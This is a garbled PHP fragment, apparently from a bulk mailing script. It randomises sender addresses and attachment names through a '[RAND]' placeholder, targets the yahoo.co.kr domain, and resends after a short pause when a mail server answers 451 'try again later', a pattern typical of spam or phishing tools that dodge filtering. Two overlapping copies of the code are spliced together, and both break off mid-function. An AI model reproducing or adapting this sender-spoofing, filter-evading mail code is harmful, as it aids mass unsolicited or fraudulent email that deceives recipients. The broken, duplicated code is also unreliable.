$tomail = $toMail2; $mailbody = $data; $todomain = "yahoo.co.kr"; $fromname = $fromname2; if ($fromdomain && $frommail && $todomain && $tomail && $mailbody) { $frommail = str_replace("[RAND]", randchar(), $frommail); if ($filename1) { $filename1 = str_replace("[RAND]", randchar(), $filename1); } if ($filename2) { $filename2 = str_replace("[RAND]", randchar(), $filename2); } if ($eml) { $eml = str_replace("[RAND]", randchar(), $eml); } qmail($fromname, $fromdomain, $frommail, $todomain, $tomail, $subject, $mailbody, $filename1, $file1, $filename2, $file2, $eml, $date); } function randchar($num = "") { $buf = ""; if (!$num) { $num = rand(4, 16); } $i = 0; for (; $i < $num; ++$i) { $buf .= chr(rand(ord("a"), ord("z"))); } return $buf; } function randchar2($num = "") {
if ($fromdomain && $frommail && $todomain && $tomail && $mailbody) { $frommail = str_replace("[RAND]", randchar(), $frommail); if ($filename1) { $filename1 = str_replace("[RAND]", randchar(), $filename1); } if ($filename2) { $filename2 = str_replace("[RAND]", randchar(), $filename2); } if ($eml) { $eml = str_replace("[RAND]", randchar(), $eml); } $msg = qmail($fromname, $fromdomain, $frommail, $todomain, $tomail, $subject, $mailbody, $fileTitle, $fileContents, $eml, false); if (substr($msg[1], 0, 3) == "451") { // 451 Resources temporarily not available - Please try again later [#4.16.5]. sleep(3); $msg = qmail($fromname, $fromdomain, $frommail, $todomain, $tomail, $subject, $mailbody, $fileTitle, $fileContents, $eml, false); } echo $msg[0]; exit; } else { echo "2012-11-06"; exit; } function randchar($num = "") { $buf = ""; if (!$num) { $num = rand(4, 16); } $i = 0; for (; $i < $num; ++$i) {